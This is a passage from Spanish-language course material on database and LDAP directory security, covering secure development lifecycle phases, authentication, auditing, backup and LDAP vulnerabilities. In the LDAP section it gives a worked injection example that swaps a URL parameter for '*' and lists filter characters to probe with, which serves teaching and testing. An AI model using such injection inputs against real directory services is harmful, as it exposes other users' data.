» Ajustar y optimizar BD mediante el ajuste de sus parámetros, y con ayuda de las
herramientas de monitorización y de las estadísticas del sistema.
» Configurar un usuario auditor que será el único que tendrá acceso para revisar los
registros de auditoría en las tablas correspondientes del SGBD.
Auditoría SGBD: usuario auditor. El usuario auditor es el encargado de realizar

las auditorías de seguridad del sistema para detectar anomalías, intentos de violación
de la seguridad, etc. El usuario auditor es el único que debe tener acceso a los registros
de auditoría ni siquiera el DBA.
Ciclo de vida de desarrollo seguro de sistemas (SSDLC). Para encuadrar las

distintas actividades de diseño e implementación de la seguridad de un SGBD se debe
elegir y seguir una metodología de desarrollo seguro de sistemas de información
(SSDLC) que permita llevar a cabo el proceso de forma que las actividades de seguridad
se lleven a cabo en un orden lógico y por personal debidamente formado. Un ejemplo
de enfoque de SSDLC es el denominado Touchpoints de Gary Mcgraw.

Normalmente, se supone que se está inmerso en una organización que tiene definida
una política de seguridad con lo que esto implica y que se tienen procesos definidos
en todo lo que se refiere a desarrollo de software, gestión de configuración, gestión y
aseguramiento de la calidad con sus correspondientes procedimientos y actividades,
donde un proyecto de software tiene una dirección de proyecto, equipo de desarrollo y
de esta manera se planifica y gestiona adecuadamente y se sigue un modelo de ciclo de
vida adaptado a las características del proyecto.
Se tiene el apoyo también de un equipo de seguridad que puede asesorar en todas y

realizar incluso algunas de las actividades y procedimientos relacionados con la
seguridad en el ciclo de vida y a continuación se presentan varios modelos de ciclo de
vida que se pueden aplicar igualmente a modelos de ciclo de vida en espiral,
extreme programming, proceso unificado de rational, etc. Si no se tuviera una
estructura por procesos dentro de la organización sería muy difícil pensar en aplicar
diseño e implementación de la seguridad durante el ciclo de vida de software
correctamente.
En la figura 16 se puede ver esquemáticamente la propuesta de ciclo de vida de

desarrollo seguro de software SSDLC según: Building security in.
Figura 14. Modelo de SSDLC de MacGraw

Se puede adecuar el modelo SSDLC propuesto u otro similar en la implementación

seguridad SGBD dentro de un proceso SSDLC a través de sus distintas fases:
» Análisis y diseño:
o Diseño de la arquitectura (cluster), backup y recuperación centro de respaldo.

o Planificación de usuarios, roles, permisos, niveles de seguridad.
o Análisis de amenazas-riesgos.
» Implementación – desarrollo:
o Bastionado: instalación con configuración segura. Utilización de guías

(fabricante, terceros).
o Protección de sistemas de ficheros-ficheros utilizados por SGBD.
» Despliegue: pruebas de seguridad:
o Herramientas de comprobación automática de la seguridad: vulnerabilidades,

usuarios, permisos, roles, niveles de seguridad, etc.
o Pruebas funcionales de seguridad (procedimientos almacenados).
o Test de penetración.
» Producción:
o Actualizaciones software: corrección de vulnerabilidades.

o Auditoría: monitorización continua, soluciones Database audit protection (DAP),
firewall SGBD.
o FW RED- FW APP. WEB- SIEM-IDS…
o Gestión de incidentes de seguridad.
o Recuperación a través de backup de los datos.

El objetivo final es conseguir la correcta implementación de los elementos comunes

de seguridad del SGBD:
» La autenticación de usuarios.
» La autorización de acceso a recursos.
» La integridad.
» Confidencialidad de los datos.
» Auditoria.
» Backup y recuperación.
» Clustering – replicación – bases de datos distribuidas.
Los elementos comunes de seguridad se conseguirán a través de la

implementación de los requisitos de seguridad comunes a través de las
actividades de seguridad que se enmarcaban dentro del SSDLC. Un SGBD puede y debe
garantizar la protección de los datos contra accesos no autorizados, tanto
intencionados como accidentales. Debe controlar que solo los usuarios autorizados
accedan a las BD.
» Los SGBD ofrecen mecanismos para implantar restricciones de integridad en

las BD. Estas restricciones van a proteger la BD contra daños accidentales. Los
valores de los datos que se almacenan deben satisfacer ciertos tipos de restricciones
de consistencia y reglas de integridad que especificará el administrador de la BD. El
SGBD puede determinar si se produce una violación de la restricción.
» Proporciona herramientas y mecanismos para la planificación y realización de

copias de seguridad y restauración.
» Debe ser capaz de recuperar la BD llevándola a un estado consistente en

caso de ocurrir algún suceso que la dañe.
» Debe asegurar el acceso concurrente y ofrecer mecanismos para conservar la

consistencia de los datos en el caso de que varios usuarios actualicen la BD de forma
concurrente.

Elementos comunes de seguridad
En este apartado se dan recomendaciones a tener en cuenta para la implementación de

cada elemento de seguridad.
Autenticación. Un SGBD puede proporcionar un mecanismo correctamente

implementado de autenticación:
» Su propio mecanismo de autenticación (usuario-contraseña, TLS).

» Utilizar el mecanismo de autenticación del sistema operativo del host subyacente.
» Otro sistema de autenticación externo como un servicio de directorio para
identificar y autenticar a los usuarios (LDAP).
Autorización. Se debe tener siempre bajo un estricto control el estado actualizado de

la matriz de control de accesos a cualquier objeto del SGBD-BD,s por parte de cualquier
usuario, teniendo en mente que siempre el principio de mínimos privilegios. En la
práctica se llevará a cabo mediante la creación de rolos, perfiles de seguridad, políticas,
etc. con un enfoque centralizado (mandatory access control) o delegado de
administración de la seguridad (discretional access control). Un SGBD proporciona
tres tipos de privilegios:
» Privilegios que controlan la definición de datos y objetos de aplicación.

» Privilegios de acceso y manipulación de los datos almacenados en los
objetos de la base de datos.
» Privilegios para administrar la configuración de la base de datos y su
funcionamiento. El acceso a los recursos de base de datos, incluyendo el
almacenamiento y uso de la memoria que también puede ser asignable.
La lógica del mecanismo de autorización de una aplicación web se puede implementar

en un SGBD utilizando procedimientos almacenados. Se puede pensar en un modelo d
aplicación como el de la figura X, con varios tipos de usuarios, administrador, usuario
registrado y usuario anónimo. Cuando un usuario del tipo que sea intenta acceder a un
recurso, la aplicación llama a un procedimiento almacenado que es el que se encarga de
comprobar la matriz de control de accesos almacenada en la base de datos de la
aplicación. El procedimiento almacenado se ejecuta con un usuario del SGBD con los
mínimos roles necesarios.

Autorización
Rev ocar
pr ivilegios Bloqu eo de
in necesarios A uthenticated user functionality u suarios
Sear c h for products Sear c h f or salespeople
A uthenticated user functionality
Pl ac e an order Rev iew past orders
A dmi ni strative user

f unc tionality
A dd new pr oducts
Change product prices
Cr eación de
Ex piración de
los r oles
cu entas
n ecesarios
Figura 15. Ejemplo de categorías de usuario de una aplicación
Los procedimientos almacenados tienen una lista de ventajas:
» Más fáciles de mantener que SQL dinámico embebido en el código de la aplicación.

Se pueden hacer cambios sin recompilar la aplicación.
» Mejor rendimiento, SGBD compila y optimiza código del procedimiento
almacenado.
» Reducen la superficie de ataque ya que reducen los permisos de los usuarios de base
de datos de la aplicación solo a la ejecución de procedimientos almacenados con los
mínimos roles o privilegios.
No obstante, hay que validar las consultas y llamadas a procedimientos almacenados.
En la figura 16 se observa código de un procedimiento almacenado inseguro con una

vulnerabilidad de SQLI.
Figura 16. Procedimiento almacenado con SQLI

En la figura 17 se puede ver cómo corregir la vulnerabilidad mediante la

implementación de una consulta parametrizada:
Figura 17. Procedimiento almacenado con validación anti-SQLI
Confidencialidad tanto en almacenamiento como en tránsito. Un SGBD puede y

debe proporcionar para asegurar los datos:
» La capacidad de cifrar los datos, funciones y procedimientos de las bases de

datos.
» El cifrado de las comunicaciones de red a la base de datos.
» Proteger los datos de la vista de otros usuarios no autorizados incluso el DBA.
» Proteger los ficheros de datos del SGBD, configuraciones, log de transacciones y
registros de auditoría.
Integridad. Hay que asegurar que los datos no son alterados indebidamente por
usuarios no autorizados y garantizar el no repudio de las acciones que puedan haber
sido realizadas por cualquier usuario. Las capacidades a desarrollar que proporciona un
SGBD en este sentido son:
» Mantener la integridad referencial de las relaciones entre entidades de las bases

de datos.
» Recuperar los datos a un estado conocido fiable cuando se producen
interrupciones (rollback).
» Registrar los cambios a los elementos de datos y controlar los accesos
simultáneos por diferentes usuarios a los mismos datos.

Auditoría. Es fundamental monitorizar de forma continua en online las actividades de

los usuarios en las bases de datos para detectar por el medio que sea cualquier
incidente de seguridad. ¿Qué tipos de accesos auditar?:
» Conexiones a la base de datos.

» Actividades privilegiadas.
» Actualizaciones, adiciones y borrados.
» Accesos a datos importantes, sensibles.
Replicación de datos - Bases de datos distribuidas. Se utiliza el mecanismo de

replicación de datos para mantener copias remotas de las bases de un SGBD. En bases
de datos distribuidas también se utiliza la replicación entre nodos y sirve para
aumentar el nivel de disponibilidad en los datos, si bien hace más dificultosa la
administración en general y de la seguridad en particular. Hay que prestar atención
especialmente en:
» Configurar conexiones seguras con bases de datos remotas.

» Comprobar los usuarios utilizados en conexión a bases de datos remotas.
» Comprobar los privilegios asignados en las bases de datos remotas.
» Auditar todas las conexiones.
Backup y recuperación. El problema de las copias de datos es que se utilizan pocas

veces y esto motiva que no se le preste especial atención en ocasiones al estado y
conocimiento de los procedimientos por parte de los administradores. Es fundamental:
» Configuración de planes y procedimientos.

» Atención a los tiempos de ocurrencia de eventos para preservar la integridad en la
recuperación.
» Probar los procedimientos por sorpresa.
» Proteger los ficheros y activos de backup.

Clustering. El espejado de procesos y servidores posibilita un backup en caliente de

muy alta disponibilidad y la instalación de un centro de respaldo alternativo a distancia
adecuada. Características:
» Hot-backup de alta disponibilidad.

» El S.O. y el SGBD han de tener el soporte requerido.
» Definir correctamente los privilegios de los usuarios que administran las actividades
de clúster.
» Auditar las acciones de administración de clúster.
» Proteger las líneas de comunicación.
En la figura 18 se puede observar cómo puede ser la arquitectura tipo de un centro de

respaldo que utiliza tecnología de clúster.
Figura 18. Arquitectura de un centro de respaldo
SSDLC: actividades de diseño e implementación de requisitos comunes de

seguridad
Para alcanzar los elementos comunes de seguridad a cualquier SGBD del tipo que
sea hay que llevar a cabo una serie de actividades de seguridad en el marco del SSCLC
elegido para desarrollar los requisitos comunes de seguridad que una vez
implementados garantizan cada elemento de seguridad con un nivel que debería ser el
mayor posible de acuerdo con el grado de clasificación del sistema.

En primer lugar, hay que tener en cuenta la seguridad de la infraestructura que

sustenta la instalación de un SGBD:
» Seguridad de la red.
» Seguridad en el S.O. de la plataforma.
» Seguridad Front-end SGBD.
» Servidor de aplicaciones / web.
» Seguridad de las aplicaciones.
» Otros servicios: SNMP, SMTP.
A continuación, se enumeran las fases de implementación del SSDLC y las actividades

de seguridad a realizar en cada una de ellas para implementar un SGBD seguro.
» Análisis y diseño. Consiste en planificar la arquitectura de seguridad del SGBD

teniendo en cuenta todas sus partes y futura ubicación:
o Cumplimiento de la política de seguridad, establecimiento de roles, procesos y

procedimientos.
o Diseño de la arquitectura cluster, backup y recuperación centro de
respaldo.
My SQL Server Replication My SQL Server

I/O
thread SQL Sl ave
Ma ster thread
N db Cl uster Relay
N db Cl uster
Engi ne Binlog Engi ne Binlog
Binlog
NDB Kerner NDB Kerner

(data nodes) (data nodes)
ndbd ndbd ndbd ndbd
ndbd ndbd ndbd ndbd
Figura 19. Mysql clúster

o Planificación de la gestión de incidentes de seguridad. En la figura 20 se

muestra un ejemplo de ciclo de proceso de la gestión de incidentes de seguridad.
Hay que diseñar un procedimiento de gestión de incidentes de seguridad desde

que se detecta e identifica, va pasando por las fases de contención del efecto
del incidente aislando equipos, la fuente del ataque, etc. A continuación, se
erradica la causa del incidente y se recuperan los sistemas a su estado normal de
funcionamiento.
Finalmente, hay que tomar lecciones aprendidas del incidente de seguridad, tipo
de ataque, características, vulnerabilidades explotadas, actuación de todo tipo de
personal implicado, usuarios, administradores de sistemas, equipo de seguridad,
etc. El objetivo último de la gestión de incidentes es la formación en este campo
aprendiendo en la práctica de los propios incidentes de seguridad.
Figura 20. Gestión de incidentes de seguridad

o Autenticación y autorización: planificación de usuarios, roles, permisos,

niveles de seguridad:
- Principio de mínimos privilegios.

- Autenticación por grupos  identificar cuentas grupales.
- Acceso según necesidad de conocer.
- Usuarios y contraseñas por defecto.
- Requisitos de almacenamiento de contraseñas.
- Política de contraseñas.
- Claves de encriptación.
o Planificación del contenido de los registros de auditoría, planificación

de monitorización.
o Infraestructura PKI: uso de certificados digitales.
o Análisis de amenazas-riesgos que permitan determinar las salvaguardas y

mecanismos de seguridad más adecuados.
o Seguridad física del personal y de la documentación.
» Implementación – desarrollo. Comprende todas las actividades de seguridad

que llevan a cabo el desarrollo de todo el diseño de seguridad realizado en la fase
anterior:
o Bastionado: instalación con configuración segura. Utilización de guías de

configuración segura (fabricante, terceros).
o Protección de sistemas de ficheros-ficheros utilizados por SGBD, de acuerdo con
el diseño realizado en la fase anterior.

» Despliegue: pruebas de seguridad. Con estas pruebas se valida la matriz de

autorización de acceso a todos los objetos de las bases de datos por parte de todos
los usuarios y de vulnerabilidades del SGBD:
o Herramientas de comprobación automática de la seguridad: Vulnerabilidades,

o Pruebas funcionales de seguridad (procedimientos almacenados) con la
aplicación o aplicaciones asociadas. Con estas pruebas se valida la matriz de
autorización de acceso a todos los objetos de las bases de datos por parte de todos
los usuarios.
o Test de penetración del SGBD junto con las aplicaciones asociadas.
o Pruebas de los procedimientos de backup recuperación y de gestión de incidentes
de seguridad.
» Producción. Comprende todas las actividades de seguridad que se llevan a cabo

con los sistemas en ejecución online:
o Comprobación de configuración seguridad periódica del SGBD, gestión de

posibles cambios y sus consecuencias.

o Auditoría: Monitorización continua, soluciones database audit protection

(DAP), firewall SGBD:
- Auditar el contenido de los registros de datos sensibles.

- Auditoria, monitorización, análisis de LOGS y reporte de resultados.
- Auditar los cambios a los datos.
- Auditar las interconexiones entre aplicaciones y otros sistemas en ambientes
distribuidos.
- Auditar cambios en la política de etiquetado de seguridad (security label).
- Auditar login de usuarios.
- Auditoría de la protección de los activos de backup.
- Auditoría de los activos de backup.
- Comprobación de configuración seguridad periódica SGBD.
- Control cuentas privilegiadas.
- Control cuentas de usuarios.
- Defensa perimetral: el CISO asegurará que el SGBD está protegido de las
conexiones de clientes directos de las redes públicas o no autorizadas.
- Acceso remoto para funciones privilegiadas: El DBA garantizará que la
administración remota de la base de datos no esté habilitada o configurada a
menos que sea requerida y autorizada por el CISO.
- El DBA configurará la auditoría de todas las acciones tomadas por los
administradores de la base de datos durante las sesiones remotas.
- El auditor revisará los registros diarios de auditoría de las sesiones
administrativas remotas para descubrir cualquier acceso o acciones no
autorizadas.
- El DBA garantizará que las conexiones de administración remota a la base de
datos estén restringidas a direcciones y puertos de red dedicados y cifrados.
- Gestión de incidentes de seguridad. Llevar a cabo actuación planificada
cuando se detecte un incidente de seguridad gestionándolo adecuadamente.
También se realizarán pruebas o simulaciones de entrenamiento del personal
implicado.
- Backup y recuperación de los datos: protección de los activos de backup y
recuperación, procedimientos de backup-recuperación de datos, plan de
desastres y recuperación, copias de backup de software crítico y pruebas de
recuperación de datos.

2.4. Seguridad en directorios LDAP
La arquitectura de referencia de un directorio LDAP es el que se muestra en la figura

21. Se identifican la capa de cliente, servidor y de base datos del directorio. Todas estas
partes han de ser objeto de un diseño, implementación y pruebas de la seguridad de
forma coordinada y conjunta a través de las actividades de seguridad del SSDLC
seleccionado.
Aplicación Cliente Servidor de Directorio
Aplicación
Recibir mensaje
Petición Respuesta
API Acceso de directorio
Cliente de Directorio Enviar respuesta
TCP/IP TCP/IP
Petición
Respuesta
Figura 21. Arquitectura cliente-servidor LDAP
El término servicio de directorio se refiere a los componentes que proporcionan

colectivamente un servicio de información que hace disponibles los datos de directorio
actuales y seguros a los clientes. Esta descripción es importante para una perspectiva
de seguridad porque todos los servicios de directorio deben configurarse y protegerse
adecuadamente para mantener la confidencialidad, integridad y disponibilidad de los
datos del directorio. Los requisitos de seguridad del servicio de directorio
proporcionan los requisitos que deben cumplirse para abordar las vulnerabilidades de
seguridad.

LDAP es el protocolo estándar de la industria para el acceso a los servicios de

directorio. Aunque no es un componente de un servicio de directorio, el soporte para
los estándares LDAP actuales es un requisito práctico y una seguridad esencial para el
software comercial de servicio de directorio.
LDAP es un estándar centrado en LDAP versión 3 (LDAPv3). El estándar LDAP versión

2 no incorporaba suficientes controles de autenticación y no debe utilizarse. El grupo
de trabajo de ingeniería de Internet (IETF) ha derivado una serie de documentos que
abordan los problemas de seguridad LDAP. RFC 4513, Lightweight directory access
protocol (LDAP): métodos de autenticación y mecanismos de seguridad. RFC 4513
aborda la seguridad requerida incluyendo mecanismos de autenticación e integridad y
confidencialidad de los datos.
Vulnerabilidades LDAP
Las vulnerabilidades específicas más frecuentes en servicios de directorio son debidas a

inyecciones de código. Otras vulnerabilidades pueden ser debidas a problemas en cada
una de las capas del directorio aplicación del cliente y servidor de bases de datos de
directorio cuyas vulnerabilidades y soluciones se han estudiado previamente. Aquí se va
a referir, por tanto, a las vulnerabilidades específicas.
Inyección Ldap. Suponer que una aplicación web que utiliza un filtro de búsqueda
como el siguiente:
» Searchfilter = «(cn =" + usuario + ")». Que es instanciado por una solicitud HTTP
como esta:
Http://www.example.com/ldapsearch?user=John
» Si el valor 'John' se sustituye por un '*', enviando la solicitud:
Http://www.example.com/ldapsearch?user=*
El filtro se verá así: searchfilter = "(cn = *)" que coincide con cualquier objeto con
un atributo 'cn' igual a cualquier cosa.

» Si la aplicación es vulnerable a la inyección LDAP mostrará algunos o todos los

atributos de los usuarios dependiendo del flujo de ejecución de la aplicación y de los
permisos del usuario conectado a LDAP. Un probador podría utilizar un método de
prueba y error insertando en el parámetro '(', '|', '&', '*' y los demás caracteres,
para comprobar la aplicación de errores.
Inyección XPAH. Es similar a las inyecciones SQL. Los ataques de Inyección XPath
se producen cuando un sitio web usa datos suministrado por un usuario para construir
una consulta XPath para datos XML. Mediante el envío de información
intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se
estructuran los datos XML o acceder a datos a los que no se suelen tener acceso. El
atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos
XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en
XML).
Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que
permite la consulta XML para localizar una información. Como SQL, puedes especificar
ciertos atributos a encontrar y los patrones a seguir. Cuando se usa XML en un sitio
web es común aceptar algún formulario de entrada de cadena de texto para identificar
el contenido de localizar y mostrar en la página. Esta entrada debe ser supervisada para
comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.
XPath es un lenguaje estándar; su notación/sintaxis es siempre independiente de la

implementación, lo que significa que el ataque puede ser automatizado. No hay
comunicaciones diferentes como ocurre en las solicitudes a las bases de datos SQL.
Debido a que no existe un control de acceso por niveles es posible obtener el
documento completo.

Seguridad en LDAP. Implementación de elementos y requisitos de

seguridad a través del SSDLC
Con el objetivo de conseguir los elementos comunes de seguridad se adecúa el modelo

SSDLC seleccionado para implementar la seguridad del servicio de directorio a
través de sus distintas fases y actividades de seguridad tanto del servidor de
directorio como del servidor de datos:
» Análisis y diseño:
o Planificación de usuarios, roles, permisos, niveles de seguridad.

o Diseño de autenticación y autorización.
o Diseño de la replicación.
o Análisis de amenazas-riesgos.
» Implementación – desarrollo:
o Bastionado: instalación con configuración segura. Utilización de guías

(fabricante, terceros). Implementación de autenticación y control de acceso, de
replicación de datos segura y de puertos de red y protocolos.
o Protección de sistemas de ficheros-ficheros utilizados por el servicio de directorio
y de datos.
» Despliegue. Pruebas de seguridad:
o Herramientas de comprobación automática de la seguridad: Vulnerabilidades,

o Pruebas funcionales de seguridad de comprobación de accesos no privilegiados.
o Pruebas de replicación de datos.
o Test de penetración.
» Producción:

o Auditoría: monitorización continua.
o Gestión de incidentes de seguridad.
o Recuperación a través de backup de los datos.

El objetivo final es conseguir la correcta implementación de los elementos

comunes de seguridad del servicio de directorio:
» La autenticación de usuarios.
» La autorización de acceso a recursos.
» La integridad.
» Confidencialidad de los datos.
» Puertos y protocolos de red.
» Base de datos del directorio.
» Replicación.
» Herramientas de sincronización de directorios.
» Auditoría.
» Backup y recuperación.
El elemento fundamental en cada solución de servicio de directorio es el software de

servidor de directorio. Es responsable de una serie de funciones esenciales:
» Proporcionar un punto central para que los clientes tengan acceso a los datos del
directorio.
» Asegurar que el acceso a los datos del directorio esté de acuerdo con la política de
seguridad deseada.
» Habilitar el acceso seguro a clientes a través de redes que pueden no tener
características de confidencialidad o integridad.
» Garantizar que los problemas de integridad de los datos se aborden cuando se
actualizan los datos.
» Permitir la distribución de los datos del directorio cuando sea necesario para
problemas de desempeño.
» Permitir una copia de seguridad coherente de los datos de directorio de tal manera
que los datos puedan ser restaurados cuando sea necesario.

La forma en que se llevan a cabo estas funciones puede plantear muchas

consideraciones de seguridad.
Autenticación. Dado que la autenticación verifica la identidad de un usuario, es

crucial para controlar la recopilación de datos significativos de auditoría. Incluso si el
nivel de confidencialidad de los datos es público y mínimo el control de acceso es
necesario, los mecanismos de autenticación deben estar disponibles contra acceso no
privilegiados al directorio.
El estándar IETF RFC 4513 describe la autenticación en directorios basados en

servidores LDAPv3. Durante el enlace un usuario puede ser autenticado por un
servidor de directorio. La norma describe diferentes métodos de autenticación:
» El método de autenticación simple incluye tres mecanismos de autenticación:

anónimo, no autenticado y usuario/contraseña.
» El método simple authentication and security layer (SASL) se refiere al
estándar (RFC 4422) SASL marco para la autenticación y los servicios de seguridad
de datos. SASL Define varios mecanismos de autenticación incluyendo ANÓNIMO,
usuario-contraseña, DIGEST-MD5, EXTERNAL y GSSAPI. DIGEST-MD5 Usa el
proceso desafío respuesta con un secreto compartido. El mecanismo GSSAPI utiliza
Kerberos y EXTERNAL utiliza servicios de red como seguridad de la capa de
transporte (TLS).
Hay que tener en cuenta para reducir los impactos operacionales en las cuentas de
proceso de servicio de directorios:
Asegurar que los intentos fallidos de inicio de sesión sin éxito en un corto período
de tiempo resulten en un bloqueo de la cuenta.
Garantizar la interoperabilidad y el cumplimiento de políticas de asignación de

credenciales fuertes. Los certificados auto-firmados reducen inherentemente la
interoperabilidad.

Accesos de consulta y actualización. Es la principal razón para la creación de un

servicio de directorio. Los servidores de directorio proporcionan el punto de conexión
central para que un cliente acceda a los datos de directorio. Para preservar la
confidencialidad, integridad y disponibilidad de los datos de directorio tiene
que asegurar que el acceso a consulta y actualización es seguro. Hay que llevar a cabo
las siguientes prácticas de seguridad aplicadas al servidor de directorio general para
consulta y actualización:
» Es necesario establecer la identidad que posibilita el acceso del cliente validado

por el servidor. Sin autenticación, el control de acceso de los datos de directorio debe
ser imposible.
» Es necesario soporte para proteger la integridad de los datos en tránsito a través de
la red entre el servidor y el cliente. Este soporte puede ser del servidor de directorio
o servicios de red subyacentes implementando firma digital.
» Normalmente es necesario mantener la confidencialidad de los datos en tránsito a
través de red entre el servidor y el cliente. Este soporte puede ser del servidor de
directorio o servicios de red subyacentes. Se debe implementar un cifrado
formalmente validado.
Para permitir que los datos de directorio relacionados sean accesibles cuando se
distribuye a través de múltiples servidores se ideó el concepto de referencia de
conocimiento. Las referencias de conocimiento son formas de permitir que la
información de los directorios sea recuperada cuando esa información no está dentro
del directorio que fue buscado. Hay dos tipos generales de referencia de conocimiento:
» Una referencia es un dato LDAP que es proporcionada por el servidor al cliente

para informarle qué directorio podría ser consultado para obtener los datos
deseados. El cliente es responsable de realizar consultas adicionales.
El encadenamiento es una referencia de conocimiento LDAP que utiliza un

servidor para ponerse en contacto con otro servidor para obtener los datos de
directorio buscados por un cliente. El servidor contactado por el cliente devuelve los
resultados pasados por el servidor que contiene los datos, eliminando la necesidad
de que el cliente realice consultas en servidores adicionales.

Consideraciones de seguridad a aplicar a la gestión de referencias:
» El control sobre la definición de referencias es importante porque podría

convertirse en una forma de envenenamiento de directorios enviando a clientes
servidores inexistentes o servidores con datos no válidos.
» Los problemas de autenticación surgen cuando se realiza el encadenamiento. Esto se

debe a que el servidor en el que reside los datos está siendo consultado por otro
servidor, no por el cliente. Típicamente se usa alguna forma de autenticación de
proxy, pero se requiere una cuidadosa configuración para asegurar que los datos no
se devuelvan a clientes no autorizados.
» Debe considerarse localmente si las referencias a directorios fuera del control de la

organización de origen son deseables. Un directorio alojado por una organización
externa puede no estar sujeto a los mismos controles de seguridad. Como resultado
puede haber menos confianza en la integridad de los datos.
DSML es un estándar diseñado para permitir el intercambio de datos de directorio en el

formato XML (extensible markup language). DSML habilita el acceso al servicio web al
admitir SOAP (protocolo de acceso simple a objetos) a través del protocolo HTTP o del
protocolo TLS (HTTPS).
Otros problemas de servidor. Además de los problemas de autenticación en

accesos de consultas y actualización, hay otros problemas de seguridad asociados con el
servidor de directorio. Hay que tener en cuenta las siguientes consideraciones de
seguridad aplicables al servidor de directorio software para resolver problemas
generales de aplicación:
» La integridad de los archivos ejecutables del servidor y de los archivos de

mantenimiento. Se necesita un adecuado control de acceso a archivos para evitar
que se produzcan accidentes o actualizaciones maliciosas que comprometan la
integridad del software del servidor.
Los cambios no planificados y no coordinados del software y las configuraciones

pueden afectar también a la disponibilidad. Un proceso documentado de gestión
de configuración soluciona estos problemas.

» Si se utilizan programas escritos localmente para complementar o mejorar la

función de un servidor de directorio es importante que el código esté sujeto al
control de configuración y se planifique la recuperación de desastres.
» La identidad del sistema operativo en el que se ejecuta una instancia del servidor de
directorios debe tenerse en cuenta. Aunque algunas configuraciones requieren el uso
de credenciales altamente privilegiadas, como la de superusuario UNIX, no todas las
configuraciones lo requieren. En aquellos casos en que se utilizan credenciales
privilegiadas es más importante que otras funciones como pasarelas no se ejecuten
en la misma instancia del servidor.
Consideraciones de seguridad importantes para los servidores de directorio:
» Debido a que los datos contenidos en el directorio se utilizan a veces como base de
las decisiones de control de acceso, un fallo del servidor podría resultar en una
pérdida de disponibilidad de las plataformas del directorio. Para mitigar esta
vulnerabilidad puede ser necesario desplegar varios servidores de directorios
y poder garantizar la disponibilidad continua de los datos del directorio.
» Si los datos del directorio incluyen datos de autenticación como contraseñas que
pueden reutilizarse, el servidor debe proteger la confidencialidad de esos datos en la
base de datos. Se debe implementar el cifrado formalmente validado.
» La arquitectura de un directorio que implica una replicación fraccional o selectiva

puede requerir secuencias especiales de restauración en caso de fallo o pérdida de
múltiples servidores. Es necesario un diagrama de arquitectura del servidor de
directorio (o documentación de texto) o información necesaria para la
recuperación.
» El software de servidor de directorio que permite realizar actualizaciones en varios

servidores debe tener soporte de resolución de conflictos. Un elemento de datos que
se puede utilizar en la resolución conflictos es el tiempo de transacción. La hora
del día también se utiliza en algún mecanismo de autenticación para disuadir los
ataques de repetición. Por estas razones, una forma de sincronización de tiempo con
una fuente de tiempo autorizada es esencial para cada servidor de directorio.

Base de datos de directorios. Dado que el servidor de directorios es el punto de

acceso central para los datos de directorio, la base de central son los datos. Aunque hay
excepciones, las bases de datos de directorios implementadas utilizando motores de
base de datos especializados en lugar de sistemas de gestión de bases de datos
relacionales. Esto refleja el hecho de que el patrón de acceso habitual para las bases de
datos de directorios implica un número relativamente grande de consultas, en
comparación con un pequeño número de actualizaciones.
Como consecuencia de esta aplicación hay algunas preocupaciones de seguridad que

son similares a otros sistemas de bases de datos y algunos que son únicos. Dos
características de las bases de datos de directorio influyen en el diseño de seguridad. El
primero es el hecho de que los datos de directorio se representan como
entradas conocidas como objetos y atributos de objeto. La segunda es que los
directorios basados en LDAP están estructurados lógicamente en forma de
árbol. Es decir, hay una raíz de la cual las ramas se extienden. Las entradas residen
figurativamente en la raíz, en los puntos de rama, y como hojas. Hay una entrada de
directorio especial accesible en cada servidor de directorio en la raíz de directorios
LDAPv3.
Se conoce como la Root directory system agent (DSA) Specific entry (DSE). Los Raíz
DSE tienen varias piezas importantes de información expresada como atributos. La
información incluye la versión de LDAP (v2 o v3), información sobre mecanismos de
seguridad soportados e información sobre los nombres de contextos (ramas de árbol de
directorios o subárboles principales) que contiene el directorio. Consideraciones para
controlar el acceso a la DSE raíz:
» Algunos clientes intentan usar acceso anónimo mientras negocian mecanismos de

seguridad. En este caso el cliente puede consultar el directorio para obtener los
mecanismos soportados especificados en el DSE de raíz antes de intentar vincular
con las credenciales reales del cliente.
» Los clientes que pueden utilizar un producto comercial-off-the-shelf (COTS) para
consultar, actualizar o monitorizar podrían intentar consultar el DSE raíz para
determinar qué opciones LDAP utilizar. Al igual que con los mecanismos de
seguridad, la consulta DSE raíz puede intentarse antes del acceso con las
credenciales del cliente.

Además del DSE raíz, el control de acceso sobre todos los objetos y atributos del
directorio es necesario para preservar la confidencialidad, integridad y disponibilidad
de los datos. Aunque los mecanismos de control varían, el de control de acceso
heredado que fluye a través del árbol de directorios es necesario. Las implementaciones
pueden referirse a las sentencias de control acceso como listas de control de acceso
(ACL) o instrucciones de control de acceso (ACI). El acceso a objetos de base de datos
de directorio anónimo o no autenticado (que se considera equivalente en este
documento) es una cuestión importante de seguridad.
En general, la decisión de permitir el acceso anónimo depende de la naturaleza de los

datos. Es posible configurar una regla que no permite el acceso anónimo a ningún dato.
Esto es lógico porque los directorios normalmente contienen datos que son designados
como sensibles o clasificados, o datos que permitan el acceso a otros sistemas que
procesan información sensible o clasificada datos. Sin embargo, puede haber casos en
que las herramientas del cliente se han diseñado para utilizar algunos accesos
anónimos como se indica en la discusión anterior relativa al DSE raíz.
Cuestiones de seguridad a aplicar a las bases de datos de directorio (ver

apartados 2.2. a 2.4):
» Las bases de datos suelen estar compuestas por varios archivos que residen en el
sistema operativo. Como con cualquier archivo de datos del sistema, un control de
acceso a archivos adecuado es necesario. Apropiados permisos de escritura
impiden actualizaciones inadvertidas o malintencionadas que podrían comprometer
la integridad de la base de datos. Los permisos de lectura restrictivos impiden la
captura de los datos para que no puedan ser objeto de ataques fuera de línea.
» Debe configurarse la base de datos para capturar los datos de auditoría y poder ser
auditados por el auditor de seguridad. Sin una manera de determinar la fuente y el
alcance de un acceso será imposible determinar la naturaleza o el alcance del daño si
el servidor se compromete.

» Un requisito esencial es la capacidad de copia de seguridad y restauración de la

base de datos. Debido a que las bases de datos están compuestas de múltiples
archivos y actualizaciones coordinadas son críticas para la integridad de los datos, la
solución de copia de seguridad y restauración debe ser específica de la base de datos.
» Dependiendo del diseño de la base de datos puede haber problemas de integridad

referencial. En relación a términos de la base de datos, esto significa que es
posible que sea necesario coordinar las actualizaciones en una tabla con las
actualizaciones en otra. La base de datos o el software del servidor deben
proporcionar facilidades para el problema de integridad referencial.
Un área final de consideración para bases de datos de directorio es la protección del

esquema de directorio. Como con otras bases de datos, el esquema proporciona las
reglas a las que deben ajustarse los datos. Clientes y servidores pueden consultar el
esquema del directorio para comprender el formato y el contenido permitidos (por
